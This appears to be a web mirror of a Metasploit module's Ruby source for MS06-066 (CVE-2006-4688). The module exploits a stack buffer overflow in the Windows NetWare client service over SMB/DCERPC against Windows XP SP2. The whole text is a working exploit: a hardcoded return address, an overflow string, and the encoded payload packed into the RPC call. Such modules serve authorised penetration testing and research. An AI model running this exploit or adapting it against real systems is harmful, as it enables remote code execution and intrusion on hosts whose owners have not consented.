Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/exploits/windows/smb/ms06_066_nwwks.rb
Views: 11784
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = GoodRanking78include Msf::Exploit::Remote::DCERPC9include Msf::Exploit::Remote::SMB::Client1011def initialize(info = {})12super(update_info(info,13'Name' => 'MS06-066 Microsoft Services nwwks.dll Module Exploit',14'Description' => %q{15This module exploits a stack buffer overflow in the svchost service, when the netware16client service is running. This specific vulnerability is in the nwapi32.dll module.17},18'Author' => [ 'pusscat' ],19'License' => MSF_LICENSE,20'References' =>21[22[ 'CVE', '2006-4688'],23[ 'OSVDB', '30260'],24[ 'BID', '21023'],25[ 'MSB', 'MS06-066'],2627],28'DefaultOptions' =>29{30'EXITFUNC' => 'thread',31},32'Privileged' => true,33'Payload' =>34{35'Space' => 1000,36'BadChars' => "",37'Compat' =>38{39# -ws2ord XXX?40},41'StackAdjustment' => -3500,42},43'Platform' => 'win',44'Targets' =>45[46[47'Windows XP SP2',48{49'Ret' => 0x616566fb, # modemui.dll [esp + 16]: popaw, ret50},51]52],5354'DefaultTarget' => 0,55'DisclosureDate' => '2006-11-14'))5657register_options(58[59OptString.new('SMBPIPE', [ true, "The pipe name to use (browser, srvsvc, wkssvc, ntsvcs)", 'nwwks']),60])6162end6364def exploit65# [in] [unique] wchar *66# [in] [unique] wchar *67# [out] long6869ofstring = Rex::Text.to_unicode('\\\\') + rand_text(292) + [ target.ret ].pack('V') + "\x00\x00"70stubdata =71NDR.long(rand(0xffffffff)) +72NDR.UnicodeConformantVaryingString(rand_text(rand(128)) + "\x00") +73NDR.long(rand(0xffffffff)) +74NDR.UnicodeConformantVaryingStringPreBuilt(payload.encoded + "\x00\x00") +75NDR.long(rand(0xffffffff)) +76NDR.UnicodeConformantVaryingString(rand_text(rand(128)) + "\x00") +77NDR.long(rand(0xffffffff)) +78NDR.UnicodeConformantVaryingString(rand_text(rand(128)) + "\x00") +79NDR.UnicodeConformantVaryingStringPreBuilt(ofstring)8081print_status("Connecting to the SMB service...")82connect()83smb_login()8485handle = dcerpc_handle('e67ab081-9844-3521-9d32-834f038001c0', '1.0', 'ncacn_np', ["\\#{datastore['SMBPIPE']}"])86print_status("Binding to #{handle} ...")87dcerpc_bind(handle)88print_status("Bound to #{handle} ...")8990print_status("Calling the vulnerable function...")9192begin93dcerpc.call(0x01, stubdata)94rescue Rex::Proto::DCERPC::Exceptions::NoResponse95print_status('Server did not respond, this is expected')96rescue => e97if e.to_s =~ /STATUS_PIPE_DISCONNECTED/98print_status('Server disconnected, this is expected')99else100raise e101end102else103print_status("Got #{dcerpc.last_response.stub_data.length} bytes: #{dcerpc.last_response.stub_data}")104end105106# Cleanup107handler108disconnect109110if (dcerpc.last_response != nil and111dcerpc.last_response.stub_data != nil and112dcerpc.last_response.stub_data == "\x04\x00\x00\x00\x00\x00\x00\x00\x1a\x00\x00\x00")113return true114else115return false116end117end118end119120121